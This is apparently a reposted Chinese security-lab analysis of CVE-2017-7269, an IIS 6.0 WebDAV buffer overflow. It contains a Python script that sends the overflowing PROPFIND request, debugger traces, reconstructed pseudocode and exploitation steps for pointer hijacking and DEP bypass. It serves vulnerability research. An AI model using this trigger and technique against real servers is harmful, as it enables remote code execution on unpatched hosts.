49

深入分析NSA用了5年的IIS漏洞 – 腾讯玄武实验室

 6 years ago
source link: http://xlab.tencent.com/cn/2017/04/18/nsa-iis-vulnerability-analysis/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

Author: Ke Liu of Tencent’s Xuanwu Lab

1. 漏洞简介

1.1 漏洞简介

2017年3月27日,来自华南理工大学的 Zhiniang Peng 和 Chen Wu 在 GitHub [1] 上公开了一份 IIS 6.0 的漏洞利用代码,并指明其可能于 2016 年 7 月份或 8 月份被用于黑客攻击活动。

该漏洞的编号为 CVE-2017-7269 [2],由恶意的 PROPFIND 请求所引起:当 If 字段包含形如 <http://localhost/xxxx> 的超长URL时,可导致缓冲区溢出(包括栈溢出和堆溢出)。

微软从 2015 年 7 月 14 日开始停止对 Windows Server 2003 的支持,所以这个漏洞也没有官方补丁,0patch [3] 提供了一个临时的解决方案。

无独有偶,Shadow Brokers 在2017年4月14日公布了一批新的 NSA 黑客工具,笔者分析后确认其中的 Explodingcan 便是 CVE-2017-7269 的漏洞利用程序,而且两个 Exploit 的写法如出一辙,有理由认为两者出自同一团队之手:

  • 两个 Exploit 的结构基本一致;
  • 都将 Payload 数据填充到地址 0x680312c0
  • 都基于 KiFastSystemCall / NtProtectVirtualMemory 绕过 DEP;

本文以 3 月份公布的 Exploit 为基础,详细分析该漏洞的基本原理和利用技巧。

1.2 原理概述

  • CStackBuffer 既可以将栈设置为存储区(少量数据)、也可以将堆设置为存储区(大量数据);
  • CStackBuffer 分配存储空间时,误将 字符数 当做 字节数 使用,此为漏洞的根本原因;
  • 因为栈上存在 cookie,不能直接覆盖返回地址;
  • 触发溢出时,改写 CStackBuffer 对象的内存,使之使用地址 0x680312c0 作为存储区;
  • 将 Payload 数据填充到 0x680312c0
  • 程序存在另一处类似的漏洞,同理溢出后覆盖了栈上的一个指针使之指向 0x680313c0
  • 0x680313c0 将被当做一个对象的起始地址,调用虚函数时将接管控制权;
  • 基于 SharedUserData 调用 KiFastSystemCall 绕过 DEP;
  • URL 会从 UTF-8 转为 UNICODE 形式;
  • Shellcode 使用 Alphanumeric 形式编码(UNICODE);

2. 漏洞原理

2.1 环境配置

在 Windows Server 2003 R2 Standard Edition SP2 上安装 IIS 并为其启用 WebDAV 特性即可。

为IIS启用WebDAV特性

修改 Exploit 的目标地址,执行后可以看到 svchost.exe 启动 w3wp.exe 子进程,后者以 NETWORK SERVICE 的身份启动了 calc.exe 进程 。

CVE-2017-7269 IIS远程代码执行漏洞exploit

2.2 初步调试

首先,为进程 w3wp.exe 启用 PageHeap 选项;其次,修改 Exploit 的代码,去掉其中的 Shellcode,使之仅发送超长字符串。

import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('192.168.75.134',80))
pay='PROPFIND / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0\r\n'
pay+='If: <http://localhost/aaaaaaa'
pay+='A'*10240
pay+='>\r\n\r\n'
sock.send(pay)

执行之后 IIS 服务器上会启动 w3wp.exe 进程(并不会崩溃),此时将 WinDbg 附加到该进程并再次执行测试代码,即可在调试器中捕获到 first chance 异常,可以得到以下信息:

  • httpext!ScStoragePathFromUrl+0x360 处复制内存时产生了堆溢出;
  • 溢出的内容和大小看起来是可控的;
  • 被溢出的堆块在 httpext!HrCheckIfHeader+0x0000013c 处分配;
  • 崩溃所在位置也是从函数 httpext!HrCheckIfHeader 执行过来的;
  • 进程带有异常处理,因此不会崩溃;
$$ 捕获 First Chance 异常
0:020> g
(e74.e80): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00005014 ebx=00002809 ecx=00000a06 edx=0781e7e0 esi=0781a7e4 edi=07821000
eip=67126fdb esp=03fef330 ebp=03fef798 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
httpext!ScStoragePathFromUrl+0x360:
67126fdb f3a5 rep movs dword ptr es:[edi],dword ptr [esi]

0:006> r ecx
ecx=00000a06

0:006> db esi
0781a7e4 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0781a7f4 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0781a804 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0781a814 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0781a824 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0781a834 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0781a844 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0781a854 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.

$$ 目标堆块分配调用栈
0:006> !heap -p -a edi
address 07821000 found in
_DPH_HEAP_ROOT @ 7021000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
7023680: 781e7d8 2828 - 781e000 4000
7c83d97a ntdll!RtlAllocateHeap+0x00000e9f
5b7e1a40 staxmem!MpHeapAlloc+0x000000f3
5b7e1308 staxmem!ExchMHeapAlloc+0x00000015
67125df9 httpext!CHeap::Alloc+0x00000017
67125ee1 httpext!ExAlloc+0x00000008
67125462 httpext!HrCheckIfHeader+0x0000013c
6712561e httpext!HrCheckStateHeaders+0x00000010
6711f659 httpext!CPropFindRequest::Execute+0x000000f0
6711f7c5 httpext!DAVPropFind+0x00000047
$$ ......

$$ 调用栈
0:006> k
ChildEBP RetAddr
03fef798 67119469 httpext!ScStoragePathFromUrl+0x360
03fef7ac 67125484 httpext!CMethUtil::ScStoragePathFromUrl+0x18
03fefc34 6712561e httpext!HrCheckIfHeader+0x15e
03fefc44 6711f659 httpext!HrCheckStateHeaders+0x10
03fefc78 6711f7c5 httpext!CPropFindRequest::Execute+0xf0
03fefc90 671296f2 httpext!DAVPropFind+0x47
$$ ......

$$ 异常可以被处理,因此不会崩溃
0:006> g
(e74.e80): C++ EH exception - code e06d7363 (first chance)

2.3 CStackBuffer

崩溃所在模块 httpext.dll 会多次使用一个名为 CStackBuffer 的模板,笔者写了一份类似的代码,以辅助对漏洞原理的理解。为了简单起见,默认存储类型为 unsigned char,因此省略了模板参数 typename T

CStackBuffer 的相关特性如下:

  • 默认使用栈作为存储空间,大小由模板参数 SIZE 决定;
  • 通过 resize 可以将堆设置为存储空间;
  • 通过 fake_heap_size 的最低位标识存储空间的类型;
  • 通过 release 释放存储空间;
  • 对象的内存布局依次为:栈存储空间、堆块大小成员、存储空间指针;

CStackBuffer 的源码如下:

template<unsigned int SIZE>
class CStackBuffer
{
public:
CStackBuffer(unsigned int size)
{
fake_heap_size = 0;
heap_buffer = NULL;
resize(size);
}

unsigned char* resize(unsigned int size)
{
if (size <= SIZE)
{
size = SIZE;
}

if (fake_heap_size >> 2 < size)
{
if (fake_heap_size & 1 || size > SIZE)
{
release();
heap_buffer = (unsigned char*)malloc(size);
fake_heap_size |= 1;
}
else
{
heap_buffer = buffer;
}
fake_heap_size = (4 * size) | (fake_heap_size & 3);
}
fake_heap_size |= 2;
return heap_buffer;
}

void release()
{
if (fake_heap_size & 1)
{
free(heap_buffer);
heap_buffer = NULL;
}
}

unsigned char* get()
{
return heap_buffer;
}

unsigned int getFakeSize()
{
return fake_heap_size;
}

private:
unsigned char buffer[SIZE];
unsigned int fake_heap_size;
unsigned char* heap_buffer;
};

2.4 漏洞调试

根据之前的简单分析,可知 HrCheckIfHeader 是一个关键函数,因为:

  • 目标堆块是在这个函数中动态分配的;
  • 从这里可以执行到触发异常的函数 ScStoragePathFromUrl

函数 HrCheckIfHeader 简化后的伪代码如下所示:

int HrCheckIfHeader(CMethUtil *pMethUtil)
{
CStackBuffer<260> buffer1;
LPWSTR lpIfHeader = CRequest::LpwszGetHeader("If", 1);
IFILTER ifilter(lpIfHeader);
LPWSTR lpToken = ifilter->PszNextToken(0);

while (1)
{
// <http://xxxxx>
if (lpToken)
{
CStackBuffer<260> buffer2;
// http://xxxx>
LPWSTR lpHttpUrl = lpToken + 1;
size_t length = wcslen(lpHttpUrl);
if (!buffer2.resize(2*length + 2))
{
buffer2.release();
return 0x8007000E;
}

// 将 URL 规范化后存入 buffer2
// length = wcslen(lpHttpUrl) + 1
// eax = 0
int res = ScCanonicalizePrefixedURL(
lpHttpUrl, buffer2.get(), &length);
if (!res)
{
length = buffer1.getFakeSize() >> 3;
res = pMethUtil->ScStoragePathFromUrl(
buffer2.get(), buffer1.get(), &length);
if (res == 1)
{
if (buffer1.resize(length))
{
res = pMethUtil->ScStoragePathFromUrl(
buffer2.get(), buffer1.get(), &length);
}
}
}
}
// ......
}
// ......
}

可以看出这里的关键函数为 CMethUtil::ScStoragePathFromUrl,该函数会将请求转发给 ScStoragePathFromUrl,后者简化后的伪代码如下所示:

typedef struct _HSE_UNICODE_URL_MAPEX_INFO {
WCHAR lpszPath[MAX_PATH];
DWORD dwFlags; // The physical path that the virtual root maps to
DWORD cchMatchingPath;// Number of characters in the physical path
DWORD cchMatchingURL; // Number of characters in the URL
DWORD dwReserved1;
DWORD dwReserved2;
} HSE_UNICODE_URL_MAPEX_INFO, * LPHSE_UNICODE_URL_MAPEX_INFO;

int ScStoragePathFromUrl(
const struct IEcb *iecb,
const wchar_t *buffer2,
wchar_t *buffer1,
unsigned int *length,
struct CVRoot **a5)
{
wchar_t *Str = buffer2;
// 检查是否为 https://locahost:80/path http://localhost/path
// 返回 /path>
int result = iecb->ScStripAndCheckHttpPrefix(&Str);
if (result < 0 || *Str != '/') return 0x80150101;
int v7 = wcslen(Str);

// c:\inetpub\wwwroot\path
// dwFlags = 0x0201
// cchMatchingPath = 0x12
// cchMatchingURL = 0x00
// result = 0
HSE_UNICODE_URL_MAPEX_INFO mapinfo;
result = iecb->ScReqMapUrlToPathEx(Str, &mapinfo);
int v36 = result;
if (result < 0) return result;

// L"\x00c:\inetpub\wwwroot"
// n == 0
wchar_t *Str1 = NULL;
int n = iecb->CchGetVirtualRootW(&Str1);
if (n == mapinfo.cchMatchingURL)
{
if (!n || Str[n-1] && !_wcsnicmp(Str1, Str, n))
{
goto LABEL_14;
}
}
else if (n + 1 == mapinfo.cchMatchingURL)
{
if (Str[n] == '/' || Str[n] == 0)
{
--mapinfo.cchMatchingURL;
goto LABEL_14;
}
}
v36 = 0x1507F7;
LABEL_14:
if (v36 == 0x1507F7 && a5) // a5 == 0
{
// ......
}

// 0x12
int v16 = mapinfo.cchMatchingPath;
if (mapinfo.cchMatchingPath)
{
// v17 = L"t\aaaaaaaAAA...."
wchar_t *v17 = ((char*)&mapinfo - 2) + 2*v16;
if (*v17 == '\\')
{
// ......
}
else if (!*v17)
{
// ......
}
}

// v7 = wcslen(/path>)
int v18 = v16 - mapinfo.cchMatchingURL + v7 + 1;
int v19 = *length < v18;
if (v19)
{
*length = v18;
if (a5)
{
// ......
}
result = 1;
}
else
{
int v24 = (2*mapinfo.cchMatchingPath >> 2);
qmemcpy(
buffer1,
mapinfo.lpszPath,
4 * v24);
LOBYTE(v24) = 2*mapinfo.cchMatchingPath;
qmemcpy(
&buffer1[2 * v24],
(char*)mapinfo.lpszPath + 4 * v24,
v24 & 3);
qmemcpy(
&buffer1[mapinfo.cchMatchingPath],
&Str[mapinfo.cchMatchingURL],
2 * (v7 - mapinfo.cchMatchingURL) + 2);
for (wchar_t *p = &buffer1[mapinfo.cchMatchingPath]; *p; p += 2)
{
if (*p == '/') *p = '\\';
}
*length = mapinfo.cchMatchingPath - mapinfo.cchMatchingURL + v7 + 1;
result = v36;
}

return result;
}

函数 HrCheckIfHeader 会调用 ScStoragePathFromUrl 两次,在第一次调用 ScStoragePathFromUrl 时,会执行如下的关键代码:

{
wchar_t *Str = buffer2;
// 返回 /path>
int result = iecb->ScStripAndCheckHttpPrefix(&Str);
int v7 = wcslen(Str);

HSE_UNICODE_URL_MAPEX_INFO mapinfo;
result = iecb->ScReqMapUrlToPathEx(Str, &mapinfo);

// 0x12 L"c:\inetpub\wwwroot"
int v16 = mapinfo.cchMatchingPath;

// v18 = 0x12 - 0 + wcslen('/path>') + 1 = 0x12 + 10249 + 1 = 0x281c
int v18 = v16 - mapinfo.cchMatchingURL + v7 + 1;
int v19 = *length < v18;
if (v19)
{
*length = v18;
if (a5)
{
// ......
}
result = 1;
}

return result;
}

这里得到 v18 的值为 0x281c,而 *length 的值由参数传递,实际由 CStackBuffer::resize 计算得到,最终的值为 0x82,计算公式为:

fake_heap_size = 0;
size = 260;
fake_heap_size = (4 * size) | (fake_heap_size & 3);
fake_heap_size |= 2;

length = fake_heap_size >> 3;

显然有 0x82 < 0x281c,所以函数 ScStoragePathFromUrl*length 填充为 0x281c 并返回 1。实际上,这个值代表的是真实物理路径的字符个数

0x281c = 0x12 ("c:\inetpub\wwwroot") + 10248 ("/aaa..") + 1 ('>') + 1 ('\0')

HrCheckIfHeader 第二次调用 ScStoragePathFromUrl 之前,将根据 length 的值设置 CStackBuffer 缓冲区的大小。然而,这里设置的大小是字符个数,并不是字节数,所以第二次调用 ScStoragePathFromUrl 时会导致缓冲区溢出。实际上,调用 CStackBuffer::resize 的位置就是 httpext!HrCheckIfHeader+0x0000013c,也就是堆溢出发生时通过 !heap -p -a edi 命令得到的栈帧。

res = pMethUtil->ScStoragePathFromUrl(
buffer2.get(), buffer1.get(), &length);
if (res == 1)
{
if (buffer1.resize(length)) // httpext!HrCheckIfHeader+0x0000013c
{
res = pMethUtil->ScStoragePathFromUrl(
buffer2.get(), buffer1.get(), &length);
}
}
  • 函数 ScStoragePathFromUrl 负责将 URL 请求中的文件路径转换为实际的物理路径,函数的名字也印证了这一猜想;
  • 第一次调用此函数时,由于缓冲区大小不够,返回实际物理路径的字符个数;
  • 第二次调用此函数之前先调整缓冲区的大小;
  • 由于缓冲区的大小设置成了字符个数,而不是字节数,因此导致缓冲区溢出;
  • 两次调用同一个 API 很符合微软的风格(第一次得到所需的空间大小,调整缓冲区大小后再次调用);

3. 漏洞利用

3.1 URL 解码

在函数 HrCheckIfHeader 中,首先调用 CRequest::LpwszGetHeader 来获取 HTTP 头中的特定字段的值,该函数简化后的伪代码如下所示:

int CRequest::LpwszGetHeader(const char *tag, int a3)
{
// 查找缓存
int res = CHeaderCache<unsigned short>::LpszGetHeader(
(char *)this + 56, tag);
if (res) return res;

// 获取值
char *pszHeader = this->LpszGetHeader(tag);
if (!pszHeader) return 0;

int nHeaderChars = strlen(pszHeader);
CStackBuffer<tagPROPVARIANT, 64> stackbuffer(64);
if (!stackbuffer.resize(2 * nHeaderChars + 2))
{
// _CxxThrowException(...);
}

// 调用 ScConvertToWide 进行转换
int v11 = nHeaderChars + 1;
char* language = this->LpszGetHeader("Accept-Language");
int v7 = ScConvertToWide(pszHeader, &v11,
stackbuffer.get(), language, a3);
if ( v7 ) // _CxxThrowException(...);

// 设置缓存
res = CHeaderCache<unsigned short>::SetHeader(
tag, stackbuffer.get(), 0);
stackbuffer.release();

return res;
}

可以看出这里通过 CHeaderCache 建立缓存机制,此外获取到的值会通过调用 ScConvertToWide 来进行转换操作。事实上,ScConvertToWide 会调用 MultiByteToWideChar 对字符串进行转换。

MultiByteToWideChar(
CP_UTF8,
0,
pszHeader,
strlen(pszHeader) + 1,
lpWideCharStr,
strlen(pszHeader) + 1);

由于存在编码转换操作,Exploit 中的 Payload 需要先进行编码,这样才能保证解码后得到正常的 Payload。字符串转换的调试日志如下所示:

0:007> p
eax=00000000 ebx=00000655 ecx=077f59a9 edx=077f5900 esi=0000fde9 edi=77e62fd6
eip=6712721f esp=03fef5b0 ebp=03fef71c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!ScConvertToWide+0x150:
6712721f ffd7 call edi {kernel32!MultiByteToWideChar (77e62fd6)}

$$ 调用 MultiByteToWideChar 时的参数
0:007> dds esp L6
03fef5b0 0000fde9 $$ CP_UTF8
03fef5b4 00000000 $$ 0
03fef5b8 077f59a8 $$ pszHeader
03fef5bc 00000655 $$ strlen(pszHeader) + 1
03fef5c0 077f3350 $$ lpWideCharStr
03fef5c4 00000655 $$ strlen(pszHeader) + 1

$$ 转换前的字符串
0:007> db 077f59a8
077f59a8 3c 68 74 74 70 3a 2f 2f-6c 6f 63 61 6c 68 6f 73 <http://localhos
077f59b8 74 2f 61 61 61 61 61 61-61 e6 bd a8 e7 a1 a3 e7 t/aaaaaaa.......
077f59c8 9d a1 e7 84 b3 e6 a4 b6-e4 9d b2 e7 a8 b9 e4 ad ................
077f59d8 b7 e4 bd b0 e7 95 93 e7-a9 8f e4 a1 a8 e5 99 a3 ................
077f59e8 e6 b5 94 e6 a1 85 e3 a5-93 e5 81 ac e5 95 a7 e6 ................
077f59f8 9d a3 e3 8d a4 e4 98 b0-e7 a1 85 e6 a5 92 e5 90 ................
077f5a08 b1 e4 b1 98 e6 a9 91 e7-89 81 e4 88 b1 e7 80 b5 ................
077f5a18 e5 a1 90 e3 99 a4 e6 b1-87 e3 94 b9 e5 91 aa e5 ................

0:007> p
eax=000003d1 ebx=00000655 ecx=0000b643 edx=00000000 esi=0000fde9 edi=77e62fd6
eip=67127221 esp=03fef5c8 ebp=03fef71c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!ScConvertToWide+0x152:
67127221 85c0 test eax,eax

$$ 转换后的字符串
0:007> db 077f3350
077f3350 3c 00 68 00 74 00 74 00-70 00 3a 00 2f 00 2f 00 <.h.t.t.p.:././.
077f3360 6c 00 6f 00 63 00 61 00-6c 00 68 00 6f 00 73 00 l.o.c.a.l.h.o.s.
077f3370 74 00 2f 00 61 00 61 00-61 00 61 00 61 00 61 00 t./.a.a.a.a.a.a.
077f3380 61 00 68 6f 63 78 61 77-33 71 36 69 72 47 39 7a a.hocxaw3q6irG9z
077f3390 77 4b 70 4f 53 75 4f 7a-68 48 63 56 54 6d 45 68 wKpOSuOzhHcVTmEh
077f33a0 53 39 6c 50 67 55 63 67-64 33 30 46 45 78 52 69 S9lPgUcgd30FExRi
077f33b0 31 54 58 4c 51 6a 41 72-31 42 35 70 50 58 64 36 1TXLQjAr1B5pPXd6
077f33c0 47 6c 39 35 6a 54 34 50-43 54 52 77 61 50 32 32 Gl95jT4PCTRwaP22

3.2 栈溢出

根据前面的分析,可以知道当字符串超长时是可以导致堆溢出的,但问题是堆块的基地址并不是固定的。实际上,当 CStackBuffer 使用栈作为存储空间时,也可以触发栈溢出,原理和堆溢出是一样的。

当然,这里不是通过栈溢出来执行代码,因为栈上有 cookie

.text:671255F5                 mov     large fs:0, ecx
.text:671255FC mov ecx, [ebp+var_10]
.text:671255FF pop ebx
.text:67125600 call @__security_check_cookie@4
.text:67125605 leave
.text:67125606 retn 8
.text:67125606 ?HrCheckIfHeader@@YGJPAVCMethUtil@@PBG@Z endp

在函数 HrCheckIfHeader 中存在两个 CStackBuffer 实例:

char c_stack_buffer_1;            // [sp+44h] [bp-430h]@1
unsigned int v29; // [sp+148h] [bp-32Ch]@9
wchar_t *stack_buffer1; // [sp+14Ch] [bp-328h]@9
char c_stack_buffer_2; // [sp+150h] [bp-324h]@7
unsigned __int16 *stack_buffer2; // [sp+258h] [bp-21Ch]@8

基于前面对 CStackBuffer 内存布局的分析,可以知道这里栈空间的分布为:

┌─────────────────────────┐
│ 2.heap_buffer│ ebp-21C
├─────────────────────────┤
│ 2.fake_heap_size│ ebp-220
├─────────────────────────┤
│CStackBuffer2.buffer[260]│ ebp-324
├─────────────────────────┤
│ 1.heap_buffer│ ebp-328
├─────────────────────────┤
│ 1.fake_heap_size│ ebp-32C
├─────────────────────────┤
│CStackBuffer1.buffer[260]│ ebp-430
└─────────────────────────┘

下面要重点分析的代码片段为:

res = pMethUtil->ScStoragePathFromUrl(
buffer2.get(), buffer1.get(), &length); // (1)
if (res == 1)
{
if (buffer1.resize(length)) // (2)
{
res = pMethUtil->ScStoragePathFromUrl( // (3)
buffer2.get(), buffer1.get(), &length);
}
}

(1) HrCheckIfHeader 第一次调用 ScStoragePathFromUrl 时传递的参数分析如下(函数返回值为 1,长度设置为 0xaa):

0:006> dds esp L3
03faf7b4 077d8eb0 $$ http://localhost/aaaaaaa....
03faf7b8 03faf804 $$ CStackBuffer1.buffer
03faf7bc 03faf800 $$ 00000082

0:006> dd 03faf800 L1
03faf800

0:006> db 077d8eb0
077d8eb0 68 00 74 00 74 00 70 00-3a 00 2f 00 2f 00 6c 00 h.t.t.p.:././.l.
077d8ec0 6f 00 63 00 61 00 6c 00-68 00 6f 00 73 00 74 00 o.c.a.l.h.o.s.t.
077d8ed0 2f 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00 /.a.a.a.a.a.a.a.
077d8ee0 68 6f 63 78 61 77 33 71-36 69 72 47 39 7a 77 4b hocxaw3q6irG9zwK
077d8ef0 70 4f 53 75 4f 7a 68 48-63 56 54 6d 45 68 53 39 pOSuOzhHcVTmEhS9
077d8f00 6c 50 67 55 63 67 64 33-30 46 45 78 52 69 31 54 lPgUcgd30FExRi1T
077d8f10 58 4c 51 6a 41 72 31 42-35 70 50 58 64 36 47 6c XLQjAr1B5pPXd6Gl
077d8f20 39 35 6a 54 34 50 43 54-52 77 61 50 32 32 4b 6d 95jT4PCTRwaP22Km
077d8f30 34 6c 47 32 41 62 4d 37-61 51 62 58 73 47 50 52 4lG2AbM7aQbXsGPR
077d8f40 70 36 44 75 6a 68 74 33-4a 4e 6b 78 76 49 73 4e p6Dujht3JNkxvIsN
077d8f50 6a 4c 7a 57 71 6f 4a 58-30 32 6e 37 49 4b 4d 52 jLzWqoJX02n7IKMR
077d8f60 63 48 4c 6f 56 75 75 75-6f 66 68 76 4d 44 70 50 cHLoVuuuofhvMDpP
077d8f70 36 7a 4b 62 57 65 50 75-72 6a 6b 7a 62 77 58 76 6zKbWePurjkzbwXv
077d8f80 48 62 31 65 54 30 79 6c-4a 50 62 54 33 50 77 35 Hb1eT0ylJPbT3Pw5
077d8f90 77 6a 44 41 34 33 76 64-46 4d 54 56 6c 47 43 65 wjDA43vdFMTVlGCe
077d8fa0 32 76 78 72 69 57 38 43-72 62 30 5a 38 59 48 54 2vxriW8Crb0Z8YHT
077d8fb0 02 02 02 02 c0 12 03 68-44 6c 56 52 37 4b 6d 6c .......hDlVR7Kml
077d8fc0 58 4f 5a 58 50 79 6a 49-4f 58 52 4a 50 41 4d 66 XOZXPyjIOXRJPAMf
077d8fd0 c0 13 03 68 34 48 31 65-43 6f 66 6e 41 74 6c 43 ...h4H1eCofnAtlC
077d8fe0 c0 13 03 68 43 53 41 6a-52 70 30 33 66 58 4c 42 ...hCSAjRp03fXLB
077d8ff0 4b 70 46 63 73 51 41 79-50 7a 6c 4a 3e 00 00 00 KpFcsQAyPzlJ>...
077d9000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????

(2) 因为 ScStoragePathFromUrl 返回 0xaa,所以 buffer1.resize(0xaa) 并不会在堆上分配空间,而是直接使用栈上的 buffer

(3) 第二次调用 ScStoragePathFromUrl 时会导致栈溢出,实际结果是 CStackBuffer1.fake_heap_size 被改写为 0x02020202CStackBuffer1.heap_buffer 被改写为 0x680312c0

0:006> dds esp L3
03faf7b4 077d8eb0 $$ http://localhost/aaaaaaa....
03faf7b8 03faf804 $$ CStackBuffer1.buffer
03faf7bc 03faf800 $$ 00000412 = ((0x104 * 4) | (0x82 & 3)) | 2

$$ 留意最后面 2 个 DWORD 的值
0:006> db ebp-430 L10C
03faf804 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
03faf814 c0 59 55 03 00 00 00 00-00 10 08 00 60 f8 fa 03 .YU.........`...
03faf824 fc f7 fa 03 f8 64 02 07-94 f8 fa 03 70 82 82 7c .....d......p..|
03faf834 a0 6e 87 7c 00 00 00 00-9c 6e 87 7c 00 00 00 00 .n.|.....n.|....
03faf844 01 00 00 00 16 00 00 00-23 9f 87 7c 00 00 00 00 ........#..|....
03faf854 c4 af 7b 04 02 00 00 01-00 00 00 00 04 5d 88 8a ..{..........]..
03faf864 6c 00 00 00 8c 1e 8f 60-82 1e 8f 60 02 00 00 00 l......`...`....
03faf874 9a 1e 8f 60 34 fb fa 03-33 00 00 00 00 00 00 00 ...`4...3.......
03faf884 8c 1e 8f 60 52 23 8f 60-22 00 00 00 00 00 00 00 ...`R#.`".......
03faf894 00 00 00 00 00 00 00 00-01 00 00 00 0c 00 00 00 ................
03faf8a4 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
03faf8b4 f6 67 ca 77 00 00 00 00-00 00 00 00 00 00 00 00 .g.w............
03faf8c4 00 00 00 00 00 00 00 00-20 f9 fa 03 4a b0 bc 77 ........ ...J..w
03faf8d4 85 05 00 00 4f f9 fa 03-5b 20 11 67 5c b0 bc 77 ....O...[ .g\..w
03faf8e4 5b 20 11 67 b0 72 bd 77-4f f9 fa 03 5b 20 11 67 [ .g.r.wO...[ .g
03faf8f4 13 00 00 00 58 00 00 00-00 00 00 00 e8 64 02 07 ....X........d..
03faf904 c0 17 bf 77 12 04 00 00-04 f8 fa 03 ...w........
^^^^^^^^^^^ ~~~~~~~~~~~

0:006> p
eax=00000000 ebx=070fbfc0 ecx=0000e694 edx=03faf804 esi=00000001 edi=77bd8ef2
eip=67125484 esp=03faf7c0 ebp=03fafc34 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!HrCheckIfHeader+0x15e:
67125484 8bf0 mov esi,eax

$$ 留意最后面 2 个 DWORD 的值
0:006> db ebp-430 L10C
03faf804 63 00 3a 00 5c 00 69 00-6e 00 65 00 74 00 70 00 c.:.\.i.n.e.t.p.
03faf814 75 00 62 00 5c 00 77 00-77 00 77 00 72 00 6f 00 u.b.\.w.w.w.r.o.
03faf824 6f 00 74 00 5c 00 61 00-61 00 61 00 61 00 61 00 o.t.\.a.a.a.a.a.
03faf834 61 00 61 00 68 6f 63 78-61 77 33 71 36 69 72 47 a.a.hocxaw3q6irG
03faf844 39 7a 77 4b 70 4f 53 75-4f 7a 68 48 63 56 54 6d 9zwKpOSuOzhHcVTm
03faf854 45 68 53 39 6c 50 67 55-63 67 64 33 30 46 45 78 EhS9lPgUcgd30FEx
03faf864 52 69 31 54 58 4c 51 6a-41 72 31 42 35 70 50 58 Ri1TXLQjAr1B5pPX
03faf874 64 36 47 6c 39 35 6a 54-34 50 43 54 52 77 61 50 d6Gl95jT4PCTRwaP
03faf884 32 32 4b 6d 34 6c 47 32-41 62 4d 37 61 51 62 58 22Km4lG2AbM7aQbX
03faf894 73 47 50 52 70 36 44 75-6a 68 74 33 4a 4e 6b 78 sGPRp6Dujht3JNkx
03faf8a4 76 49 73 4e 6a 4c 7a 57-71 6f 4a 58 30 32 6e 37 vIsNjLzWqoJX02n7
03faf8b4 49 4b 4d 52 63 48 4c 6f-56 75 75 75 6f 66 68 76 IKMRcHLoVuuuofhv
03faf8c4 4d 44 70 50 36 7a 4b 62-57 65 50 75 72 6a 6b 7a MDpP6zKbWePurjkz
03faf8d4 62 77 58 76 48 62 31 65-54 30 79 6c 4a 50 62 54 bwXvHb1eT0ylJPbT
03faf8e4 33 50 77 35 77 6a 44 41-34 33 76 64 46 4d 54 56 3Pw5wjDA43vdFMTV
03faf8f4 6c 47 43 65 32 76 78 72-69 57 38 43 72 62 30 5a lGCe2vxriW8Crb0Z
03faf904 38 59 48 54 02 02 02 02-c0 12 03 68 8YHT.......h
^^^^^^^^^^^ ~~~~~~~~~~~

3.3 填充数据

通过!address 命令可知地址 0x680312c0 位于 rsaenh 模块中,具备 PAGE_READWRITE 属性。

0:006> !address 680312c0
Failed to map Heaps (error 80004005)
Usage: Image
Allocation Base: 68000000
Base Address: 68030000
End Address: 68032000
Region Size: 00002000
Type: 01000000 MEM_IMAGE
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE
More info: lmv m rsaenh
More info: !lmi rsaenh
More info: ln 0x680312c0

0:006> u 680312c0 L1
rsaenh!g_pfnFree+0x4:
680312c0 0000 add byte ptr [eax],al

在解析 http://localhost/bbbbbbb...... 时,数据将被直接填充到地址 0x680312c0。此时,由于 CStackBuffer1 的长度已经 足够大ScStoragePathFromUrl 只会被调用一次。

$$ ScStoragePathFromUrl 参数
0:006> dds esp L3
03faf7b4 077dc9e0
03faf7b8 680312c0 rsaenh!g_pfnFree+0x4
03faf7bc 03faf800

0:006> dd 03faf800 L1
03faf800 00404040

0:006> p
eax=00000000 ebx=070fbfc0 ecx=0000e694 edx=680312c0 esi=00000000 edi=77bd8ef2
eip=6712544a esp=03faf7c0 ebp=03fafc34 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!HrCheckIfHeader+0x124:
6712544a 8bf0 mov esi,eax

$$ 填充数据到 0x680312c0
0:006> db 680312c0
680312c0 63 00 3a 00 5c 00 69 00-6e 00 65 00 74 00 70 00 c.:.\.i.n.e.t.p.
680312d0 75 00 62 00 5c 00 77 00-77 00 77 00 72 00 6f 00 u.b.\.w.w.w.r.o.
680312e0 6f 00 74 00 5c 00 62 00-62 00 62 00 62 00 62 00 o.t.\.b.b.b.b.b.
680312f0 62 00 62 00 48 79 75 61-43 4f 67 6f 6f 6b 45 48 b.b.HyuaCOgookEH
